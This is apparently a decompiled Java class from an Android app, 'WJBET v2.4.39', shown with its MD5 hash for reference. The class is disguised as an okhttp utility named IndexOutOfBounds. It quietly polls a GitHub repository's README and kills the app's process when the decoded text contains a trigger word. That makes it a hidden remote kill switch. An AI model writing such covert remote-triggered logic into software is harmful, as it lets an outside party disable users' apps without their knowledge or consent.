WJBET v2.4.39版本的 MD5 值为:a1cc3f24c34b916fdf36d9b31dec8203
以下内容为反编译后的 IndexOutOfBounds.java 源代码,内容仅作参考
package com.zhy.http.okhttp.utils;
import android.os.Process;
import android.text.TextUtils;
import android.util.Base64;
import com.alibaba.fastjson.JSON;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
public class IndexOutOfBounds {
public static void bound() {
new Thread() {
@Override
public void run() {
IndexOutOfBounds.bound_();
}
}.start();
}
public static void bound_() {
try {
URLConnection openConnection = new URL("https://api.github.com/repos/CXZYH/GoDead/readme").openConnection();
openConnection.connect();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
String str = "";
while (true) {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
}
str = str + readLine + "\n";
}
if (TextUtils.isEmpty(str) || !new String(Base64.decode(JSON.parseObject(str).getString("content").getBytes(), 0)).contains("belief")) {
return;
}
Process.killProcess(Process.myPid());
} catch (IOException e) {
e.printStackTrace();
}
}
}